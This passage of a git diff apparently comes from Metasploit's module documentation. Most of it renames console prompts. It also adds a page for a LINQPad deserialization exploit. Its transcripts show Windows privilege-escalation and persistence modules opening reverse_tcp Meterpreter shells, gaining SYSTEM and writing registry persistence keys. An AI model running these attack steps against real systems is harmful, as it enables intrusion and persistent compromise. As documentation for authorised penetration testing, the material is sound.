-msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 LPORT => 6688 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true MAKEDLL => true -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): @@ -246,24 +246,24 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Building DLL... [+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll [*] Started bind TCP handler against 172.17.169.123:6688 [*] Exploit completed, but no session was created. -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > ``` Once the DLL has been generated, one can proceed with the actual exploit: ``` -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false MAKEDLL => false -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test DLLPATH => \\172.17.168.195\test -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Checking service state... [*] Using user-provided UNC path. @@ -290,19 +290,19 @@ meterpreter > ### Windows Server 2019 Standard x64, just creating DLL ``` -msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll +msf exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll [*] Using configured payload windows/x64/meterpreter/bind_tcp -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 SESSION => 3 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 LPORT => 6688 -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true MAKEDLL => true -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): @@ -331,13 +331,13 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Building DLL... [+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll [*] Started bind TCP handler against 172.17.169.123:6688 [*] Exploit completed, but no session was created. -msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > +msf exploit(windows/local/dnsadmin_serverlevelplugindll) > ``` ## Notes diff --git a/documentation/modules/exploit/windows/local/docker_credential_wincred.md b/documentation/modules/exploit/windows/local/docker_credential_wincred.md index 61e248b673445..2ca4070ef749a 100644 --- a/documentation/modules/exploit/windows/local/docker_credential_wincred.md +++ b/documentation/modules/exploit/windows/local/docker_credential_wincred.md @@ -19,7 +19,7 @@ ### Tested on Docker Community Edition 2.0.0.0 running on Windows 10x64 Release 1803 ``` -msf5 exploit(windows/local/docker_credential_wincred) > show options +msf exploit(windows/local/docker_credential_wincred) > show options Module options (exploit/windows/local/docker_credential_wincred): @@ -36,13 +36,13 @@ Exploit target: 0 Automatic -msf5 exploit(windows/local/docker_credential_wincred) > set session 1 +msf exploit(windows/local/docker_credential_wincred) > set session 1 session => 1 -msf5 exploit(windows/local/docker_credential_wincred) > check +msf exploit(windows/local/docker_credential_wincred) > check [*] Docker version 18.09.0, build 4d60db4 [*] The target appears to be vulnerable. -msf5 exploit(windows/local/docker_credential_wincred) > run +msf exploit(windows/local/docker_credential_wincred) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] Docker version 18.09.0, build 4d60db4 diff --git a/documentation/modules/exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc.md b/documentation/modules/exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc.md index 9fc467c944b4f..a0a989a9484a0 100644 --- a/documentation/modules/exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc.md +++ b/documentation/modules/exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc.md @@ -38,13 +38,13 @@ Download: ### Druva inSync6.6.3r102156 on Windows 7 SP1 (x64) ``` -msf6 > use exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc +msf > use exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > set session 1 +msf exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > set session 1 session => 1 -msf6 exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > set lhost 172.16.191.165 +msf exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf6 exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > run +msf exploit(windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md index 1e0944547dda3..6e18362aadf46 100644 --- a/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md +++ b/documentation/modules/exploit/windows/local/gog_galaxyclientservice_privesc.md @@ -24,12 +24,12 @@ The initial working directory of the command. ### GOG Galaxy Client `v1.2.66.64` on Windows 10 ``` -msf5 > use multi/handler -msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp +msf > use multi/handler +msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > set lhost 192.168.37.1 +msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (201283 bytes) to 192.168.37.131 @@ -47,16 +47,16 @@ Logged On Users : 15 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/windows/local/gog_galaxyclientservice_privesc -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set session 1 +msf exploit(multi/handler) > use exploit/windows/local/gog_galaxyclientservice_privesc +msf exploit(windows/local/gog_galaxyclientservice_privesc) > set session 1 session => 1 -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/gog_galaxyclientservice_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set lhost 192.168.37.1 +msf exploit(windows/local/gog_galaxyclientservice_privesc) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > check +msf exploit(windows/local/gog_galaxyclientservice_privesc) > check [*] The target appears to be vulnerable. Vulnerable version found: 1.2.66.64 -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > run +msf exploit(windows/local/gog_galaxyclientservice_privesc) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Starting GalaxyClientService... diff --git a/documentation/modules/exploit/windows/local/lexmark_driver_privesc.md b/documentation/modules/exploit/windows/local/lexmark_driver_privesc.md index e38b57701cd19..16ebac9395284 100644 --- a/documentation/modules/exploit/windows/local/lexmark_driver_privesc.md +++ b/documentation/modules/exploit/windows/local/lexmark_driver_privesc.md @@ -44,15 +44,15 @@ set DRIVERNAME Lexmark Printer Software G2 XL ### Lexmark Printer Software G2 XL v2.2.0.0 ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set lhost 10.0.0.9 +msf exploit(multi/handler) > set lhost 10.0.0.9 lhost => 10.0.0.9 -msf6 exploit(multi/handler) > set lport 1270 +msf exploit(multi/handler) > set lport 1270 lport => 1270 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.0.0.9:1270 [*] Sending stage (200262 bytes) to 10.0.0.8 @@ -70,17 +70,17 @@ Logged On Users : 3 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc +msf exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/lexmark_driver_privesc) > set session 1 +msf exploit(windows/local/lexmark_driver_privesc) > set session 1 session => 1 -msf6 exploit(windows/local/lexmark_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/lexmark_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/lexmark_driver_privesc) > set lhost 10.0.0.9 +msf exploit(windows/local/lexmark_driver_privesc) > set lhost 10.0.0.9 lhost => 10.0.0.9 -msf6 exploit(windows/local/lexmark_driver_privesc) > set lport 1271 +msf exploit(windows/local/lexmark_driver_privesc) > set lport 1271 lport => 1271 -msf6 exploit(windows/local/lexmark_driver_privesc) > check +msf exploit(windows/local/lexmark_driver_privesc) > check [*] Lexmark driver published at oem3.inf [*] Lexmark driver published at oem12.inf @@ -89,9 +89,9 @@ msf6 exploit(windows/local/lexmark_driver_privesc) > check [*] Lexmark Printer Software G2 XL [*] No user provided DRIVERNAME. Defaulting to "Lexmark Printer Software G2" [*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available. -msf6 exploit(windows/local/lexmark_driver_privesc) > set DRIVERNAME Lexmark Printer Software G2 XL +msf exploit(windows/local/lexmark_driver_privesc) > set DRIVERNAME Lexmark Printer Software G2 XL DRIVERNAME => Lexmark Printer Software G2 XL -msf6 exploit(windows/local/lexmark_driver_privesc) > run +msf exploit(windows/local/lexmark_driver_privesc) > run [*] Started reverse TCP handler on 10.0.0.9:1271 [*] Running automatic check ("set AutoCheck false" to disable) @@ -116,7 +116,7 @@ meterpreter > ## Lexmark Universal Printer v2 - version 2.10.0.5 On Windows 10 v1903 ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.194:4444 [*] Sending stage (200262 bytes) to 192.168.224.194 @@ -145,9 +145,9 @@ meterpreter > getsystem [-] Named Pipe Impersonation (RPCSS variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc +msf exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/lexmark_driver_privesc) > show options +msf exploit(windows/local/lexmark_driver_privesc) > show options Module options (exploit/windows/local/lexmark_driver_privesc): @@ -173,20 +173,20 @@ Exploit target: 0 Windows -msf6 exploit(windows/local/lexmark_driver_privesc) > set SESSION 1 +msf exploit(windows/local/lexmark_driver_privesc) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/lexmark_driver_privesc) > set LPORT 8877 +msf exploit(windows/local/lexmark_driver_privesc) > set LPORT 8877 LPORT => 8877 -msf6 exploit(windows/local/lexmark_driver_privesc) > check +msf exploit(windows/local/lexmark_driver_privesc) > check [*] Lexmark driver published at oem9.inf [*] Found 1 possible options: [*] Lexmark Universal v2 [*] No user provided DRIVERNAME. Defaulting to "Lexmark Universal v2" [*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available. -msf6 exploit(windows/local/lexmark_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/lexmark_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/lexmark_driver_privesc) > show options +msf exploit(windows/local/lexmark_driver_privesc) > show options Module options (exploit/windows/local/lexmark_driver_privesc): @@ -212,7 +212,7 @@ Exploit target: 0 Windows -msf6 exploit(windows/local/lexmark_driver_privesc) > exploit +msf exploit(windows/local/lexmark_driver_privesc) > exploit [*] Started reverse TCP handler on 192.168.224.128:8877 [*] Running automatic check ("set AutoCheck false" to disable) @@ -294,4 +294,4 @@ Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/local/linqpad_deserialization.md b/documentation/modules/exploit/windows/local/linqpad_deserialization.md new file mode 100644 index 0000000000000..54867c56331c3 --- /dev/null +++ b/documentation/modules/exploit/windows/local/linqpad_deserialization.md @@ -0,0 +1,55 @@ +## LINQPad 5.48 Deserialization + +LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/). + +## Verification Steps +Steps: + +1. Install the application +2. Start msfconsole +3. Get Meterpreter/cmd shell +4. Run: `use windows/local/linqpad_deserialization` +5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters +5. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup` +6. Run exploit + +## Options + +### cleanup + +Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad. + + +### cache\_path + +The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. + +### linqpad\_path + +Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit. + +Example: + +``` +msf > use exploit/multi/handler +msf exploit(multi/handler) > set LHOST 192.168.95.128 +msf exploit(multi/handler) > set LPORT 4242 +msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp +msf exploit(multi/handler) > run +[*] Started reverse TCP handler on 192.168.95.128:4242 +[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100 + +meterpreter > background +[*] Backgrounding session 1... +msf exploit(multi/handler) > use windows/local/linqpad_deserialization +msf exploit(windows/local/linqpad_deserialization) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe +msf exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd +msf exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad +msf exploit(windows/local/linqpad_deserialization) > set CMD calc.exe +msf exploit(windows/local/linqpad_deserialization) > set session 1 +msf exploit(windows/local/linqpad_deserialization) > exploit +[*] Exploit completed, but no session was created. +``` + +Previous example will run `calc.exe` when LINQPad will start. + diff --git a/documentation/modules/exploit/windows/local/microfocus_operations_privesc.md b/documentation/modules/exploit/windows/local/microfocus_operations_privesc.md index 8f7c3455f908a..1e74e2e0cb52d 100644 --- a/documentation/modules/exploit/windows/local/microfocus_operations_privesc.md +++ b/documentation/modules/exploit/windows/local/microfocus_operations_privesc.md @@ -41,15 +41,15 @@ All details about these vulnerabilities can be obtained from the advisory: ## Scenarios ``` -msf6 exploit(multi/handler) > use exploit/windows/local/microfocus_operations_privec +msf exploit(multi/handler) > use exploit/windows/local/microfocus_operations_privec [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/microfocus_operations_privec) > set lhost 10.0.0.1 +msf exploit(windows/local/microfocus_operations_privec) > set lhost 10.0.0.1 lhost => 10.0.0.1 -msf6 exploit(windows/local/microfocus_operations_privec) > set lport 4499 +msf exploit(windows/local/microfocus_operations_privec) > set lport 4499 lport => 4499 -msf6 exploit(windows/local/microfocus_operations_privec) > set session 3 +msf exploit(windows/local/microfocus_operations_privec) > set session 3 session => 3 -msf6 exploit(windows/local/microfocus_operations_privec) > run +msf exploit(windows/local/microfocus_operations_privec) > run [*] Started reverse TCP handler on 10.0.0.1:4499 [*] JSP dropped, calling it @ https://127.0.0.1:443/topaz/LB_Verify.jsp diff --git a/documentation/modules/exploit/windows/local/mov_ss.md b/documentation/modules/exploit/windows/local/mov_ss.md index acceb5caeab59..c2421767a8ae3 100644 --- a/documentation/modules/exploit/windows/local/mov_ss.md +++ b/documentation/modules/exploit/windows/local/mov_ss.md @@ -14,7 +14,7 @@ test it on a real machine if possible. ## Verification Steps ``` -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.135.111:4567 [*] Sending stage (206403 bytes) to 192.168.136.142 @@ -31,8 +31,8 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/windows/local/mov_ss -msf5 exploit(windows/local/mov_ss) > show options +msf exploit(multi/handler) > use exploit/windows/local/mov_ss +msf exploit(windows/local/mov_ss) > show options Module options (exploit/windows/local/mov_ss): @@ -61,13 +61,13 @@ Exploit target: 0 Windows x64 -msf5 exploit(windows/local/mov_ss) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/mov_ss) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/mov_ss) > set lhost 192.168.135.111 +msf exploit(windows/local/mov_ss) > set lhost 192.168.135.111 lhost => 192.168.135.111 -msf5 exploit(windows/local/mov_ss) > set lport 4567 +msf exploit(windows/local/mov_ss) > set lport 4567 lport => 4567 -msf5 exploit(windows/local/mov_ss) > run +msf exploit(windows/local/mov_ss) > run [*] Started reverse TCP handler on 192.168.135.111:4567 [*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1 @@ -83,9 +83,9 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.136.142 - Meterpreter session 3 closed. Reason: User exit -msf5 exploit(windows/local/mov_ss) > set USE_INJECTION false +msf exploit(windows/local/mov_ss) > set USE_INJECTION false USE_INJECTION => false -msf5 exploit(windows/local/mov_ss) > run +msf exploit(windows/local/mov_ss) > run [*] Started reverse TCP handler on 192.168.135.111:4567 [*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1 @@ -94,7 +94,7 @@ msf5 exploit(windows/local/mov_ss) > run [*] Running exploit C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe with payload C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe [*] Sending stage (206403 bytes) to 192.168.136.142 ^C[-] Exploit failed: Interrupt -msf5 exploit(windows/local/mov_ss) > sessions -l +msf exploit(windows/local/mov_ss) > sessions -l Active sessions =============== @@ -104,7 +104,7 @@ Active sessions 1 meterpreter x64/windows DESKTOP-QGIC71I\msfuser @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49696 (192.168.136.142) 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49699 (192.168.136.142) -msf5 exploit(windows/local/mov_ss) > exit +msf exploit(windows/local/mov_ss) > exit ``` ## Build Instructions diff --git a/documentation/modules/exploit/windows/local/ms10_092_schelevator.md b/documentation/modules/exploit/windows/local/ms10_092_schelevator.md index 57575d4e13697..702f89041082b 100644 --- a/documentation/modules/exploit/windows/local/ms10_092_schelevator.md +++ b/documentation/modules/exploit/windows/local/ms10_092_schelevator.md @@ -26,11 +26,11 @@ A name for the created task (default is random) ### Windows Server 2008 SP1 (x64) ``` -msf6 > use exploit/windows/local/ms10_092_schelevator +msf > use exploit/windows/local/ms10_092_schelevator [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/ms10_092_schelevator) > set session 1 +msf exploit(windows/local/ms10_092_schelevator) > set session 1 session => 1 -msf6 exploit(windows/local/ms10_092_schelevator) > run +msf exploit(windows/local/ms10_092_schelevator) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/nscp_pe.md b/documentation/modules/exploit/windows/local/nscp_pe.md index c68867d747db2..a5900e1d0ecbb 100644 --- a/documentation/modules/exploit/windows/local/nscp_pe.md +++ b/documentation/modules/exploit/windows/local/nscp_pe.md @@ -36,7 +36,7 @@ This module was successfully tested on Windows 10 Home (you may need to disable See the following output : ``` -msf6 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -46,9 +46,9 @@ Active sessions 12 meterpreter x64/windows DESKTOP-T5N69RR\basic_user @ DESKTOP-T5N69RR 172.18.15.143:4444 -> 172.18.15.142:64307 (172.18.15.142) -msf6 exploit(nscp_pe) > set session 12 +msf exploit(nscp_pe) > set session 12 session => 12 -msf6 exploit(nscp_pe) > run +msf exploit(nscp_pe) > run [!] SESSION may not be compatible with this module (incompatible session type: meterpreter) [*] Started reverse TCP handler on x.x.x.x:4444 diff --git a/documentation/modules/exploit/windows/local/ntusermndragover.md b/documentation/modules/exploit/windows/local/ntusermndragover.md index 91843af89c2fc..d9fb16cc98e0a 100644 --- a/documentation/modules/exploit/windows/local/ntusermndragover.md +++ b/documentation/modules/exploit/windows/local/ntusermndragover.md @@ -29,7 +29,7 @@ other versions of Windows, such as Windows Server 2008. ### Windows 7 SP0 x86 ``` -msf5 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -38,16 +38,16 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter x86/windows User-PC\User @ USER-PC 192.168.56.1:4444 -> 192.168.56.15:49158 (192.168.56.15) -msf5 exploit(multi/handler) > use exploit/windows/local/ntusermndragover -msf5 exploit(windows/local/ntusermndragover) > set session 1 +msf exploit(multi/handler) > use exploit/windows/local/ntusermndragover +msf exploit(windows/local/ntusermndragover) > set session 1 session => 1 -msf5 exploit(windows/local/ntusermndragover) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/ntusermndragover) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/ntusermndragover) > set LHOST 192.168.56.1 +msf exploit(windows/local/ntusermndragover) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(windows/local/ntusermndragover) > set LPORT 5555 +msf exploit(windows/local/ntusermndragover) > set LPORT 5555 LPORT => 5555 -msf5 exploit(windows/local/ntusermndragover) > run +msf exploit(windows/local/ntusermndragover) > run [*] Started reverse TCP handler on 192.168.56.1:5555 [*] Executing automatic check (disable AutoCheck to override) @@ -74,7 +74,7 @@ meterpreter > ``` -msf5 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -83,16 +83,16 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter x86/windows User-PC\User @ USER-PC 192.168.56.1:4444 -> 192.168.56.5:49157 (192.168.56.5) -msf5 exploit(multi/handler) > use exploit/windows/local/ntusermndragover -msf5 exploit(windows/local/ntusermndragover) > set session 1 +msf exploit(multi/handler) > use exploit/windows/local/ntusermndragover +msf exploit(windows/local/ntusermndragover) > set session 1 session => 1 -msf5 exploit(windows/local/ntusermndragover) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/ntusermndragover) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/ntusermndragover) > set LHOST 192.168.56.1 +msf exploit(windows/local/ntusermndragover) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(windows/local/ntusermndragover) > set LPORT 5555 +msf exploit(windows/local/ntusermndragover) > set LPORT 5555 LPORT => 5555 -msf5 exploit(windows/local/ntusermndragover) > run +msf exploit(windows/local/ntusermndragover) > run [*] Started reverse TCP handler on 192.168.56.1:5555 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/payload_inject.md b/documentation/modules/exploit/windows/local/payload_inject.md index 0626ddea0d0aa..64c68124f8239 100644 --- a/documentation/modules/exploit/windows/local/payload_inject.md +++ b/documentation/modules/exploit/windows/local/payload_inject.md @@ -13,7 +13,7 @@ Windows Metro apps like Calc or Edge will crash if you try and use them as the ` ## Options ``` -msf5 exploit(windows/local/payload_inject) > show options +msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): @@ -42,7 +42,7 @@ Make sure that the `SESSION` value is set to the existing session identifier. ## Scenarios ### Windows 10x64 Build 17134 No PID ``` -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.135.168:5555 WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used @@ -62,8 +62,8 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject -msf5 exploit(windows/local/payload_inject) > show options +msf exploit(multi/handler) > use exploit/windows/local/payload_inject +msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): @@ -83,13 +83,13 @@ Exploit target: 0 Windows -msf5 exploit(windows/local/payload_inject) > set session 1 +msf exploit(windows/local/payload_inject) > set session 1 session => 1 -msf5 exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/payload_inject) > set lhost 192.168.135.168 +msf exploit(windows/local/payload_inject) > set lhost 192.168.135.168 lhost => 192.168.135.168 -msf5 exploit(windows/local/payload_inject) > show options +msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): @@ -118,7 +118,7 @@ Exploit target: 0 Windows -msf5 exploit(windows/local/payload_inject) > run +msf exploit(windows/local/payload_inject) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] Running module against DESKTOP-D1E425Q @@ -160,9 +160,9 @@ meterpreter > ### Windows 10x64 Build 17134 No PID ``` -msf5 exploit(windows/local/payload_inject) > set PPID 3632 +msf exploit(windows/local/payload_inject) > set PPID 3632 PPID => 3632 -msf5 exploit(windows/local/payload_inject) > show options +msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): @@ -191,7 +191,7 @@ Exploit target: 0 Windows -msf5 exploit(windows/local/payload_inject) > run +msf exploit(windows/local/payload_inject) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] Running module against DESKTOP-D1E425Q diff --git a/documentation/modules/exploit/windows/local/persistence_image_exec_options.md b/documentation/modules/exploit/windows/local/persistence_image_exec_options.md index 794fc1d1925ac..198b574387aa3 100644 --- a/documentation/modules/exploit/windows/local/persistence_image_exec_options.md +++ b/documentation/modules/exploit/windows/local/persistence_image_exec_options.md @@ -25,12 +25,12 @@ meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > background [*] Backgrounding session 8... -msf5 exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options -msf5 exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe +msf exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options +msf exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe image_file => notepad.exe -msf5 exploit(windows/local/persistence_image_exec_options) > set session 8 +msf exploit(windows/local/persistence_image_exec_options) > set session 8 session => 8 -msf5 exploit(windows/local/persistence_image_exec_options) > run +msf exploit(windows/local/persistence_image_exec_options) > run [*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8 [*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe @@ -38,7 +38,7 @@ msf5 exploit(windows/local/persistence_image_exec_options) > run [*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe [*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows 